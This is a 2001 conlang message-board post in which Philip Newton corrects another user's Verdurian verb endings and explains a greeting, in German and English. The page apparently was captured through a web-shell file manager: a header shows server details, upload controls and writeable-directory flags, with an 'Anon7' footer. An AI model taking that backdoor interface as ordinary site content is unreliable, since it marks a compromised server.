KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/markrose/board/messages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/markrose/board/messages/174.html
<html><head><title>Hey Irgend Jemand</title></head>

<body bgcolor="#FFFFFF">

<center><h1><!--title-->Hey Irgend Jemand
</h1></center>

<hr size=7 width=75>
<p>Posted by <b><!--poster-->Philip Newton</b>
on <!--date-->00:58 9/15/01
<p>In reply to: <a href="171.html">Hmm... Ket elusu?</a> posted by Irgend Jemand</b>  on 13:47 9/14/01


<!-- PUT MESSAGE HERE -->
<p>(English is <a href="#english">further down</a>)</p>

<p>Hallo Irgend Jemand,</p>

<p>Tut mir leid; ich wollte dich nicht &uuml;berw&auml;ltigen, deshalb 
hatte ich schon versucht, mich kurz zu fassen. Hier eine 
&Uuml;bersetzung <a 
href="http://www.zompist.com/board/messages/160.html">meiner 
Nachricht</a>:</p>

<blockquote><p>Wo wohnst du, Irgend?</p>

<p>Da ihr gestern Wahlen hattet, rate ich, dass du in Niedersachsen 
wohnst. Ich wohne in Harburg.</p>

<p>Wenn du mit mir Kontakt aufnehmen m&ouml;chtest, kannst du mir Email 
an folgende Adresse schicken: <img 
src="http://shavian.org/verdurian/mailaddress.png" height="16" 
width="168" alt="Philip (tiel) Newton (ne) gmx (tiel) 
net">.</p></blockquote>

<p>&Uuml;brigens hoffe ich, dass es dir nicht allzuviel ausmacht, wenn 
ich ein paar Kommentare zu deinem Gebrauch der verdurischen Sprache 
mache.</p>

<p>Du scheinst regelm&auml;&szlig;ig <strong>-n-</strong> f&uuml;r die 
Vergangenheit verdurischer Verben zu benutzen; das ist aber nur 
f&uuml;r Verben in <strong>-an</strong> oder <strong>-en</strong> 
richtig. Die anderen Konjugationen benutzen <strong>-r-</strong> 
(<strong>-ir, -er</strong>) oder <strong>-c-</strong> 
(<strong>-ec</strong>); eben den letzten Konsonant der Verb-Endung im 
Infinitiv. Aber einige Verbst&auml;mme ver&auml;ndern sich auch, wenn 
dieser Konsonant eingef&uuml;gt wird; so wird z.B. 
<strong>fassec</strong> nicht zu <strong>fasscu</strong> sondern zu 
<strong>fashshu</strong>, da <strong>-sc-</strong> in dieser Position 
zu <strong>-sh-</strong> wird und laut Mark <strong>-ssc-</strong> zu 
<strong>-shsh-</strong>.</p>

<p>Und das <strong>bozhe</strong> hast du vermutlich vom <a 
href="http://www.zompist.com/refs.htm#convention">Abschnitt mit den 
Redewendungen</a> -- dort steht <strong>Kiel len bozhe?</strong> und 
als Antwort <strong>Bozhe.</strong>, was dort &uuml;bersetzt wird mit 
<em>How do you do?</em> - <em>Fine.</em>. Aber wie Mark <a 
href="http://www.zompist.com/board/messages/159.html">schrieb</a>, 
kommt das von <strong>bozhan</strong> <em>to fare</em> (etwa: 
<em>gehen, ergehen, zurechtkommen</em>). Da <strong>len</strong> die 
Dativ-Form von <strong>le</strong> <em>du</em> ist, also <em>dir</em>, 
kann man <strong>Kiel len bozhe?</strong> sogar ziemlich w&ouml;rtlich 
ins Deutsche &uuml;bersetzen: <em>Wie geht es dir?</em> (ganz 
w&ouml;rtlich: <em>Wie dir es-geht?</em>). Und die Antwort 
<strong>Bozhe.</strong> ist dann einfach <em>Es geht.</em>, wof&uuml;r 
das englische <em>Fine.</em> eher eine sinngem&auml;&szlig;e 
&Uuml;bersetzung als eine w&ouml;rtliche ist.</p>

<p>Gru&szlig;,<br>Philip.</p>

<p><a name="english">Hi Irgend Jemand,</a></p>

<p>I'm sorry; I didn't want to overwhelm you, which is why I had tried 
to stay brief. Here's a translation of <a 
href="http://www.zompist.com/board/messages/160.html">my 
message</a>:</p>

<blockquote><p>Where do you live, Irgend?</p>

<p>Since you have elections yesterday, I'm guessing that you live in 
Niedersachsen. I live in Harburg.</p>

<p>If you want to contact me, you can send me email to the following 
address: <img src="http://shavian.org/verdurian/mailaddress.png" 
height="16" width="168" alt="Philip (tiel) Newton (ne) gmx (tiel) 
net">.</p></blockquote>

<p>By the way, I hope you don't mind if I make a couple of comments on 
your Verdurian.</p>

<p>You seem to use <strong>-n-</strong> for the past tense of all 
Verdurian verbs; however, that's only correct for verbs in <strong>-
an</strong> or <strong>-en</strong>. The other conjugations use 
<strong>-r-</strong> (verbs in <strong>-ir</strong> or <strong>-
er</strong>) or <strong>-c-</strong> (verbs in <strong>-ec</strong>) -- 
in any case, the last consonant of the verb ending in the infinitive. 
However, some verb stems change their ending when this consonant is 
added; for example, <strong>fassec</strong> becomes not 
<strong>fasscu</strong> but <strong>fashshu</strong>, since <strong>-sc-
</strong> turns to <strong>-sh-</strong> and, according to Mark, 
<strong>-ssc-</strong> to <strong>-shsh-</strong>.</p>

<p>And I assume you got the <strong>bozhe</strong> from the <a 
href="http://www.zompist.com/refs.htm#convention">section on 
conventional expressions</a>? There's an example there of a question-
and-answer pair <strong>Kiel len bozhe?</strong> - 
<strong>Bozhe.</strong>, which is glossed there as <em>How do you 
do?</em> - <em>Fine.</em>. However, as Mark <a 
href="http://www.zompist.com/board/messages/159.html">wrote</a>, that 
comes from the verb <strong>bozhan</strong> <em>to fare</em>. Since 
<strong>len</strong> is the dative of <strong>le</strong> <em>you 
(sg.)</em>, one can translate <strong>Kiel len bozhe?</strong> 
literally as <em>How to-you it-fares?</em> (this is a better fit 
grammatically and idiomatically in German: <em>Wie geht es dir?</em> = 
<em>How goes it to-you?</em>). And the answer <strong>Bozhe.</strong> 
is, then, <em>It-fares.</em>, so the <em>Fine.</em> is more an 
idiomatic than a literal translation.</em>.

<p>Cheers,<br>Philip.</p>




<hr><center>
<i>To make a reply, or see replies, see <a href="../">the index page</a>.</i>
</center>

<hr>

<!-- For index page:
<li><a href="messages/174.html">Hey Irgend Jemand</a> - 
    <b>Philip Newton</b>
 <i>00:58 9/15/01</i>
-->

</body></html>

Anon7 - 2021